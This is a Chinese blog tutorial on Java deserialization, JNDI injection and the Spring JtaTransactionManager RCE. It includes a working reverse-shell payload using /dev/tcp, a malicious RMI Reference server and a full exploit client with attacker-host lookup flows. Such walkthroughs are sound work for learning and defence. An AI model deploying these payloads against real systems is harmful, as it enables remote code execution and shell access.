Hu3sky's blog

java反序列化由浅入深及JNDI注入理解(一)-Spring反序列化

Word count: 3,125 / Reading time: 15 min
2019/09/08 Share

前言

刚步入大三,该接触接触JavaWeb安全了,之前试着调试过St2的漏洞,现在来入门一下java反序列化,如有什么错误的地方,还请各位师傅指出和包含

序列化

在Java中,只要一个类实现了java.io.Serializable接口,那么它就可以被序列化

SerializeTest.java

1
2
3
4
5
6
7
8
9
10
package serialize;

import java.io.FileInputStream;

public class DeSerializeDemo {
public static void main(String[] args) throws Exception{
SerializeTest st = null;
FileInputStream fileIn
}
}

一个类想要序列化成功,必须满足:

  1. 该类必须实现 java.io.Serializable 对象
  2. 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的

SerializeDemo.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;

public class SerializeDemo {
public static void main(String[] args) throws Exception
{
SerializeTest st = new SerializeTest();
st.name = "hu3sky";
//打开文件输出流
FileOutputStream fileOut =
new FileOutputStream("test.ser");
// 建立对象输入流
ObjectOutputStream out = new ObjectOutputStream(fileOut);
//输出反序列化对象
out.writeObject(st);
out.close();
fileOut.close();
}
}

运行后,会生成一个test.ser
image

16进制如下
image

ac ed 00 05: java序列化内容的特征

虽然没有php看起来那么直观,不过还是能看出一些数据,比如SerializeTest接口,name变量,hu3sky值

反序列化

DeSerializeDemo.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class DeSerializeDemo {
public static void main(String[] args) throws Exception
{
SerializeTest st = null;
FileInputStream fileIn = new FileInputStream("test.ser");
ObjectInputStream input = new ObjectInputStream(fileIn);
// 读取对象
st = (SerializeTest)input.readObject();

input.close();
fileIn.close();

System.out.println("DeSerialize 's Name: " + st.name);
}
}

image

成功反序列化出name的值

反序列化漏洞

在反序列化时,我们也看到了,会调用readObject()方法,如果当readObject方法书写不当时就会引发漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class VulDemo{
public static void main(String[] args) throws Exception{
UnsafeClass un = new UnsafeClass();
un.name = "hacker hu3sky";
//序列化
FileOutputStream fileOut = new FileOutputStream("vul");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(un);
out.close();

//反序列化
FileInputStream fileInput = new FileInputStream("vul");
ObjectInputStream in = new ObjectInputStream(fileInput);

UnsafeClass ob = (UnsafeClass) in.readObject();
System.out.println(ob.name);

in.close();
}
}

class UnsafeClass implements Serializable{
public String name;
//重写readObject()方法
private void readObject(ObjectInputStream in) throws Exception{
//执行默认的readObject()方法
in.defaultReadObject();
//执行命令
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
}
}

image

JNDI注入

先来了解两个概念

  • RMI,java远程方法调用,一种用于实现远程过程调用的应用程序编程接口,常见的两种接口实现为 JRMP(Java Remote Message Protocol ,Java 远程消息交换协议)以及 CORBA
  • JNDI,是一个应用程序设计的 API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,JNDI 支持的服务主要有以下几种:DNS、LDAP、 CORBA 对象服务、RMI 等

简单的来说就是RMI注册的服务可以让 JNDI 应用程序来访问,调用

image

JNDI 获取并调用远程方法

一个对象方法想要被远程调用必须implements java.rmi.Remote,而远程对象必须implements java.rmi.server.UniCastRemoteObject

首先创建一个IHello接口
IHello.java

1
2
3
4
5
6
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}

接着创建一个IHelloImpl 类 实现 java.rmi.server.UniCastRemoteObject
并包含 IHello 接口

IHelloImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IHelloImpl extends UnicastRemoteObject implements IHello {
protected IHelloImpl() throws RemoteException {
super();
}

@Override
public String sayHello(String name) throws RemoteException {
return "Hello " + name;
}
}

最后用 RMI 绑定实例对象方法,并使用 JNDI 去获取并调用对象方法

CallService.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class CallService {
public static void main(String[] args) throws Exception {
//配置 JNDI 默认设置
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:1099");

Context ctx = new InitialContext(env);
// 本地开启 1099 端口作为 RMI 服务,并以标识 "hello" 绑定方法对象
Registry registry = LocateRegistry.createRegistry(1099);

IHello hello = new IHelloImpl();
registry.bind("hello",hello);

// JNDI 获取 RMI 上的方法对象并进行调用
IHello rHello = (IHello) ctx.lookup("hello");
System.out.println(rHello.sayHello("Hu3sky"));
}
}

运行CallService.java
image

具体流程如下
image
sayHello()函数是在远程RMI上执行的,执行完成后会将结果序列化返回给应用端

RMI 中动态加载字节代码

1
如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化

Reference的几个关键属性

1
2
3
className - 远程加载时所使用的类名
classFactory - 加载的 class 中需要实例化类的名称
classFactoryLocation - 提供 classes 数据的地址可以是 file/ftp/http 等协议

一个demo

1
2
3
Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:12345/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

当客户端有lookup(“refObj”)操作时,会获得一个Reference类的存根(存根类是一个类,它实现了一个接口,但是实现后的每个方法都是空的)
客户端会在本地的CLASSPATH查找refClassName类是否存在,如果本地不存在,则会去http://example.com:12345/refClassName.class查找并调用insClassName的构造函数

说明RMI在加载远程对象时,能够实例化外部对象
于是,当lookup的参数可控时,就可能去加载远程服务器上的恶意类

JNDI in Action

1
2
3
4
5
// Create the Initial Context configured to work with an RMI Registry
Properties env = new Properties();
env.put(INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(PROVIDER_URL, "rmi://localhost:1099");
Context ctx = new InitialContext(env);

JNDI Injection demo

1
2
3
4
复现的时候jdk版本不能太高,1.8版本rmi禁止了远程加载,com.sun.jndi.rmi.object.trustURLCodebase默认为false,其是默认禁止RMI和CORBA协议使用远程codebase的选项,导致我们不能通过低版本中RMI+Reference的方式来实现JNDI注入从而实现触发反序列化漏洞执行任意代码
所以用1.7进行复现
官网下载1.7速度过慢,百度网盘链接
https://pan.baidu.com/s/1SQiidrPFF5aZr4xlx0ekoQ

一个存在lookup注入的类
JNDIServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIServer {
public static void main(String[] args) throws Exception{
if(args.length < 1) {
System.out.println("Usage: java JNDIServer <uri>");
System.exit(-1);
}
String uri = args[0];
Context ctx = new InitialContext();
System.out.println("lookup() " + uri);
ctx.lookup(uri);
}
}

EvilObject.java

1
2
3
4
5
6
7
8
9
10
import java.lang.*;

public class EvilObject {
public EvilObject() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh", "-c", "/bin/sh -i > /dev/tcp/127.0.0.1/1234 2>&1 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
}
}

RMIService.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIService {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8080/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);

System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
registry.bind("refObj", refObjWrapper);
}
}

对象实例要能成功绑定在 RMI 服务上,必须直接或间接的实现 Remote 接口,由于ReferenceWrapper继承UnicastRemoteObject类并实现了Remote接口

将EvalObject放在test目录下
将JNDIClient和RMIServer放在src目录下
python server在test目录下启动

image

可以看到成功执行了命令反弹了shell

对于执行过程这位师傅已经总结的很好了@https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/

1
2
3
4
5
6
1. 攻击者通过可控的 URI 参数触发动态环境转换(lookup),例如这里 URI 为 rmi://evil.com:1099/refObj;
2. 原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换而被指向 rmi://evil.com:1099/;
3. 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj 想绑定的 ReferenceWrapper 对象(Reference("EvilObject", "EvilObject", "http://evil-cb.com/"));
4. 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从 http://evil-cb.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://evil-cb.com/EvilObject.class;
5. 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class;
6. 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行;

Spring反序列化

环境搭建

在IntellIj下创建一个Spring项目
注意jdk版本
image

漏洞分析

漏洞主要产生在spring-tx-xxx.jar包中
/spring-tx-4.3.18.RELEASE.jar!/org/springframework/transaction/jta/JtaTransactionManager.class

1
2
3
4
5
6
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
this.jndiTemplate = new JndiTemplate();
this.initUserTransactionAndTransactionManager();
this.initTransactionSynchronizationRegistry();
}

跟进initUserTransactionAndTransactionManager方法

1
2
3
4
5
6
7
8
...
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
if (this.userTransaction == null) {
if (StringUtils.hasLength(this.userTransactionName)) {
this.userTransaction = this.lookupUserTransaction(this.userTransactionName);
this.userTransactionObtainedFromJndi = true;
} else {
...

继续跟进lookupUserTransaction

1
2
3
4
5
6
7
8
protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {
try {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
}

return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
...

发现

1
return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);

userTransactionName变量传入了lookup,如果这里的userTransactionName可控,就能够利用lookup

在116行,用了set函数进行赋值,于是我们在这里就找到了可控点

image

那么思路就是,在反序列化时,控制userTransactionName为rmi恶意类,同时因为反序列化会自动去调用readObj,然后触发initUserTransactionAndTransactionManager里的lookup,于是造成JNDI RCE

漏洞实现及环境搭建

本地环境

1
2
3
jdk: jdk1.7.0_80
IDE: IntelliJ IDEA
Apache Maven 3.3.9

注意:maven和jdk版本需对应,本人一开始不知道。。踩了坑,maven下的最新版,无限报错

漏洞环境
https://github.com/zerothoughts/spring-jndi

1
2
3
cd server
mvn install
java -cp "target/*" ExploitableServer 9999

1
2
3
cd client
mvn install
java -cp "target/*" ExploitClient 127.0.0.1 9999 127.0.0.1

代码里的HttpServer好像没有启动成功,于是我手动开一个80服务切到
client/target/classes目录下
执行

1
python -m http.server 80

image

成功执行了恶意类

漏洞代码

ExploitableServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.io.*;
import java.net.*;

public class ExploitableServer {
public static void main(String[] args) {
try {
//create socket
ServerSocket serverSocket = new ServerSocket(Integer.parseInt(args[0]));
System.out.println("Server started on port "+serverSocket.getLocalPort());
while(true) {
//wait for connect
Socket socket=serverSocket.accept();
System.out.println("Connection received from "+socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
//readObject to DeSerialize
Object object = objectInputStream.readObject();
System.out.println("Read object "+object);
} catch(Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch(Exception e) {
e.printStackTrace();
}
}
}

ExploitClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import java.io.*;
import java.net.*;
import java.rmi.registry.*;
import com.sun.net.httpserver.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;


public class ExploitClient {
public static void main(String[] args) {
try {
String serverAddress = args[0];
int port = Integer.parseInt(args[1]);
String localAddress= args[2];

System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(80), 0);
httpServer.createContext("/",new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();


System.out.println("Creating RMI Registry");
//rmi注册端口
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+"/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);

System.out.println("Connecting to server "+serverAddress+":"+port);
Socket socket=new Socket(serverAddress,port);
System.out.println("Connected to server");
String jndiAddress = "rmi://"+localAddress+":1099/Object";

org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);

System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
while(true) {
Thread.sleep(1000);
}
} catch(Exception e) {
e.printStackTrace();
}
}
}

ExportObject.java

1
2
3
4
5
6
7
8
9
10
11
12
public class ExportObject {
public ExportObject() {
try {
while(true) {
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
}
} catch(Exception e) {
e.printStackTrace();
}
}

}

执行流程

image

发送的payload是

1
2
3
4
String jndiAddress = "rmi://"+localAddress+":1099/Object";

org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);

这里调用的org.springframework.transaction.jta.JtaTransactionManager就是之前的存在漏洞的类

Referer

CATALOG
  1. 1. 前言
  2. 2. 序列化
  3. 3. 反序列化
    1. 3.1. 反序列化漏洞
  4. 4. JNDI注入
    1. 4.1. JNDI 获取并调用远程方法
    2. 4.2. RMI 中动态加载字节代码
    3. 4.3. JNDI in Action
    4. 4.4. JNDI Injection demo
  5. 5. Spring反序列化
    1. 5.1. 环境搭建
    2. 5.2. 漏洞分析
    3. 5.3. 漏洞实现及环境搭建
      1. 5.3.1. 漏洞代码
      2. 5.3.2. 执行流程
  6. 6. Referer